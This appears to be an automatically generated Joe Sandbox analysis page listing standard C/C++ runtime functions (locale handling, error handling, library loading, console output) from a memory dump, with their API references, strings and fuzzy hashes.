Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 7a6a03e5c69f20ff509f55c58f0a297cd96cf415d39748928aa99c6b3fbbe5a3
Instruction ID: aa7c55a0f934fbfc075171ab3a98ec335777facfcb3c14acf755564eefd3976f
Opcode Fuzzy Hash: 7a6a03e5c69f20ff509f55c58f0a297cd96cf415d39748928aa99c6b3fbbe5a3
Instruction Fuzzy Hash: 5F213D33A55210EBCB239BB8EC81A5A775CDF42760F288551ED9DE7280D770ED00D6D0

Function 00965360 Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00965367
std::_Lockit::_Lockit.LIBCPMT ref: 00965371
int.LIBCPMT ref: 00965388

Part of subcall function 009616AA: std::_Lockit::_Lockit.LIBCPMT ref: 009616BB
Part of subcall function 009616AA: std::_Lockit::~_Lockit.LIBCPMT ref: 009616D5

codecvt.LIBCPMT ref: 009653AB
std::_Facet_Register.LIBCPMT ref: 009653C2
std::_Lockit::~_Lockit.LIBCPMT ref: 009653E2
Concurrency::cancel_current_task.LIBCPMT ref: 009653EF

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: 2424e6f4bdc77f4cf3a89f3f4ccc2f3e0b89a2df3d7986d98aaa6861f1cd0f39
Instruction ID: a6d96d31c0255a8c2e7298664ed21d9cb047eb08c36a7c0c1753de03f51b9e3d
Opcode Fuzzy Hash: 2424e6f4bdc77f4cf3a89f3f4ccc2f3e0b89a2df3d7986d98aaa6861f1cd0f39
Instruction Fuzzy Hash: 74110372914614DFCB10EB64D841BAEB7F8AFC4720F25850AF446A7391DFB19E40DB91

Function 00963C37 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00963C3E
std::_Lockit::_Lockit.LIBCPMT ref: 00963C48
int.LIBCPMT ref: 00963C5F

Part of subcall function 009616AA: std::_Lockit::_Lockit.LIBCPMT ref: 009616BB
Part of subcall function 009616AA: std::_Lockit::~_Lockit.LIBCPMT ref: 009616D5

codecvt.LIBCPMT ref: 00963C82
std::_Facet_Register.LIBCPMT ref: 00963C99
std::_Lockit::~_Lockit.LIBCPMT ref: 00963CB9
Concurrency::cancel_current_task.LIBCPMT ref: 00963CC6

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: e84c53ff436cc2d3e49df90d5f5d5c7c6a0c3ac71ba1a1f705f8cf870b7f31bb
Instruction ID: 57145b0c04de1dee610e8a6d956aa8200d94212600d08002308ed511331313e9
Opcode Fuzzy Hash: e84c53ff436cc2d3e49df90d5f5d5c7c6a0c3ac71ba1a1f705f8cf870b7f31bb
Instruction Fuzzy Hash: 1C01F5759085158BCB00EBA4C9417BDB7B5EFC4310F28800AF952B7391DF749E01DB81

Function 0096A08A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0096A081,0096829B,00967952), ref: 0096A098
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0096A0A6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0096A0BF
SetLastError.KERNEL32(00000000,0096A081,0096829B,00967952), ref: 0096A111

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 21771746e8a72b76863738b821996ff38f257197a3888412509fe67a4cd75fbd
Instruction ID: 396e34900ad56223ce4538a017202739d25313680d849257811f3762412bba06
Opcode Fuzzy Hash: 21771746e8a72b76863738b821996ff38f257197a3888412509fe67a4cd75fbd
Instruction Fuzzy Hash: 2C01473222C2115EE6242B74BC8776B278DEB52770B300329F520B21E1FF560C406656

Function 0096EE6E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,72568766,?,?,00000000,0097D536,000000FF,?,0096EDFE,?,?,0096EDD2,00000016), ref: 0096EEA3
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0096EEB5
FreeLibrary.KERNEL32(00000000,?,00000000,0097D536,000000FF,?,0096EDFE,?,?,0096EDD2,00000016), ref: 0096EED7

Strings

mscoree.dll, xrefs: 0096EE9C
CorExitProcess, xrefs: 0096EEAD

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 419b72cbabc85b8832d644230cf3e486b5923d33251b092038c525ac4b3e4104
Instruction ID: bf5e564eac7389069ab0bfbcc36715f9198e9b5789f53bac9bc062f382d4d8a8
Opcode Fuzzy Hash: 419b72cbabc85b8832d644230cf3e486b5923d33251b092038c525ac4b3e4104
Instruction Fuzzy Hash: 6301A736918619AFDB119F50DC05FBEBBB8FB48B18F000625F815A22A0DB759804CB50

Function 0096362D Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00963639
int.LIBCPMT ref: 0096364C

Part of subcall function 009616AA: std::_Lockit::_Lockit.LIBCPMT ref: 009616BB
Part of subcall function 009616AA: std::_Lockit::~_Lockit.LIBCPMT ref: 009616D5

std::_Facet_Register.LIBCPMT ref: 0096367F
std::_Lockit::~_Lockit.LIBCPMT ref: 00963695
Concurrency::cancel_current_task.LIBCPMT ref: 009636A0

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 4a8ebd9208a5165dd76d99f27dd430e26face171fc1746e51399d536f40b9656
Instruction ID: b8f1b1e40d3ed0e7607c9d20af78e1bf07811076d3ba3e30440bc4ecc61f99f9
Opcode Fuzzy Hash: 4a8ebd9208a5165dd76d99f27dd430e26face171fc1746e51399d536f40b9656
Instruction Fuzzy Hash: 3401DB32915128BBCB14ABA4D85699D7768DFC0760F24814AF505973D1EB309F41D7D0

Function 00962AFD Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00962B09
int.LIBCPMT ref: 00962B1C

Part of subcall function 009616AA: std::_Lockit::_Lockit.LIBCPMT ref: 009616BB
Part of subcall function 009616AA: std::_Lockit::~_Lockit.LIBCPMT ref: 009616D5

std::_Facet_Register.LIBCPMT ref: 00962B4F
std::_Lockit::~_Lockit.LIBCPMT ref: 00962B65
Concurrency::cancel_current_task.LIBCPMT ref: 00962B70

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 367df69a80ef18d1e153e419c846136451b681381eaaba0d0d7d2826b7976bab
Instruction ID: 0d8a1c7ee5cf38926a01d32e05f2d95953091af5b739fca21502cda7ea3e6e37
Opcode Fuzzy Hash: 367df69a80ef18d1e153e419c846136451b681381eaaba0d0d7d2826b7976bab
Instruction Fuzzy Hash: C9012632904514ABCB14AFA4D805AEEB7A8DFC1360F24415AF90297290EB30EF41D7D0

Function 009650E3 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 009650EA
std::_Lockit::_Lockit.LIBCPMT ref: 009650F5
std::_Lockit::~_Lockit.LIBCPMT ref: 00965163

Part of subcall function 00965246: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0096525E

std::locale::_Setgloballocale.LIBCPMT ref: 00965110
_Yarn.LIBCPMT ref: 00965126

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 197b373856e99432ad5e99c85f6b82a0599f7f90f56f40b0d45c3a08be574bed
Instruction ID: dc1140b1d99c56b746acc5e2398c5a955c82e6f0a16733f45ee049a176136da2
Opcode Fuzzy Hash: 197b373856e99432ad5e99c85f6b82a0599f7f90f56f40b0d45c3a08be574bed
Instruction Fuzzy Hash: 2F01BC76A099219BC705EB60D89167DB7A5EFC9340F1A800AE91257381CF34AE42DBC1

Function 009A4622 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 009A462E

Part of subcall function 009A3E7F: __getptd_noexit.LIBCMT ref: 009A3E82
Part of subcall function 009A3E7F: __amsg_exit.LIBCMT ref: 009A3E8F

__getptd.LIBCMT ref: 009A4645
__amsg_exit.LIBCMT ref: 009A4653
__lock.LIBCMT ref: 009A4663
__updatetlocinfoEx_nolock.LIBCMT ref: 009A4677

Memory Dump Source

Source File: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: d724d9d4d980fd5611dec467c746fa333166a6991964497677ff17d61b2cffb3
Instruction ID: 2ac56dea90c4dc8c40167d6fc563b4bdd5c4c3dce4d0ecf77df8a71b731244f3
Opcode Fuzzy Hash: d724d9d4d980fd5611dec467c746fa333166a6991964497677ff17d61b2cffb3
Instruction Fuzzy Hash: 60F0E932E007109BDB24BB7C9807B5D77A0AFC3724F64810AF410AB5D2CFB459518BDA

Function 0096B1D2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0096B183,00000000,?,009D684C,?,?,?,0096B326,00000004,InitializeCriticalSectionEx,0097FC70,InitializeCriticalSectionEx), ref: 0096B1DF
GetLastError.KERNEL32(?,0096B183,00000000,?,009D684C,?,?,?,0096B326,00000004,InitializeCriticalSectionEx,0097FC70,InitializeCriticalSectionEx,00000000,?,0096B0DD), ref: 0096B1E9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0096B211

Strings

api-ms-, xrefs: 0096B1F6

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 41df283ab8735dc5a9aa8ebcbc62a3467f53621c83623b2d7b2003deab796cfa
Instruction ID: fdc6f2f19848b04d0f4c37e45ea4ac376ed767de5b01ba07f77cf2da4d4436ab
Opcode Fuzzy Hash: 41df283ab8735dc5a9aa8ebcbc62a3467f53621c83623b2d7b2003deab796cfa
Instruction Fuzzy Hash: 87E04831288204B7EF101F70EC06B1C3E58AB51B44F104070FA0CE80E2E7A198A195C5

Function 00972782 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(72568766,00000000,00000000,00000000), ref: 009727E5

Part of subcall function 00976D76: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00975E3B,?,00000000,-00000008), ref: 00976E22

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00972A40
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00972A88
GetLastError.KERNEL32 ref: 00972B2B

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 4c05912cc30ef0b37a5fbfb8be3ade4e07364367b586cffaea3afc53e5ebec47
Instruction ID: 818fde38467a9cbc112324c4179991a6b581760a0906d443f0c530bbbd927862
Opcode Fuzzy Hash: 4c05912cc30ef0b37a5fbfb8be3ade4e07364367b586cffaea3afc53e5ebec47
Instruction Fuzzy Hash: BED16C76D142489FCF15CFA8D880AADBBB5FF49300F28856AE459E7351D730A946CB50

Function 0096A1A1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0096A268
___AdjustPointer.LIBCMT ref: 0096A28B
___AdjustPointer.LIBCMT ref: 0096A327

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 501d50a1445ce4e7c2957a0d5380edfd6629c908cda4ab01e88956f87c165cbd
Instruction ID: c3230121dce067f44a0a5ec18ce2dfc8958fc1b375145fe19f5e5afa95894f85
Opcode Fuzzy Hash: 501d50a1445ce4e7c2957a0d5380edfd6629c908cda4ab01e88956f87c165cbd
Instruction Fuzzy Hash: D2514672A446069FDB289F54C861B7AB3B8FF80310F24452DEC2667691D736EC90DF92

Function 0097BC6B Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,0097AC9B,00000000,?,00000000,00000000,?,00972B7F,00000000,00000000,00000000), ref: 0097BC82
GetLastError.KERNEL32(?,0097AC9B,00000000,?,00000000,00000000,?,00972B7F,00000000,00000000,00000000,00000000,00000000,?,00973106,00000000), ref: 0097BC8E

Part of subcall function 0097BC54: CloseHandle.KERNEL32(FFFFFFFE,0097BC9E,?,0097AC9B,00000000,?,00000000,00000000,?,00972B7F,00000000,00000000,00000000,00000000,00000000), ref: 0097BC64

___initconout.LIBCMT ref: 0097BC9E

Part of subcall function 0097BC16: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0097BC45,0097AC88,00000000,?,00972B7F,00000000,00000000,00000000,00000000), ref: 0097BC29

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,0097AC9B,00000000,?,00000000,00000000,?,00972B7F,00000000,00000000,00000000,00000000), ref: 0097BCB3

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 1704080a87fdc89a0f580205a9cf8a98de8d8b828fc3e351e1d7151d7239800c
Instruction ID: 6fbf7f2d227851a9d8f7cc20b7d1ff328e339ffc361d48ead359e982d974b041
Opcode Fuzzy Hash: 1704080a87fdc89a0f580205a9cf8a98de8d8b828fc3e351e1d7151d7239800c
Instruction Fuzzy Hash: 72F01C37514128BBCF221FA5DC05A9A3FAAFB483A4B45C060FA4DA5120DB328860AB95

Function 00969E90 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00969ECF
__IsNonwritableInCurrentImage.LIBCMT ref: 00969F83

Strings

csm, xrefs: 00969F6D

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: af12b9036b18ab03e0699a3ea9a9388e0b543dc53635098ad23235f94c419332
Instruction ID: d592286caef315732aeb5ad2f16e892ca8a7a372b82a6afc8d4d158a456fbfad
Opcode Fuzzy Hash: af12b9036b18ab03e0699a3ea9a9388e0b543dc53635098ad23235f94c419332
Instruction Fuzzy Hash: 2641A135A04208DBCF10DF68C885B9EBBB9AF85328F158055F818EB392D736ED55CB91

Function 0096A79D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 0096A7C2

Strings

MOC, xrefs: 0096A7D4
RCC, xrefs: 0096A7DC

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 4fbf863235fc443a5d686afd13c45bd20252a8ac1b5a20ce49154af7be56764f
Instruction ID: e588110b7b976af63cae5a933f7b8eb32f6f480d598f1bd48c55d90de5764b21
Opcode Fuzzy Hash: 4fbf863235fc443a5d686afd13c45bd20252a8ac1b5a20ce49154af7be56764f
Instruction Fuzzy Hash: 60415632900209AFCF15DF98CD81AAEBBB9FF48300F1881A9F915B7221D335A951DF52

Function 0099FFE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 009A0052
__aulldiv.LIBCMT ref: 009A0060

Strings

@, xrefs: 009A002D

Memory Dump Source

Source File: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
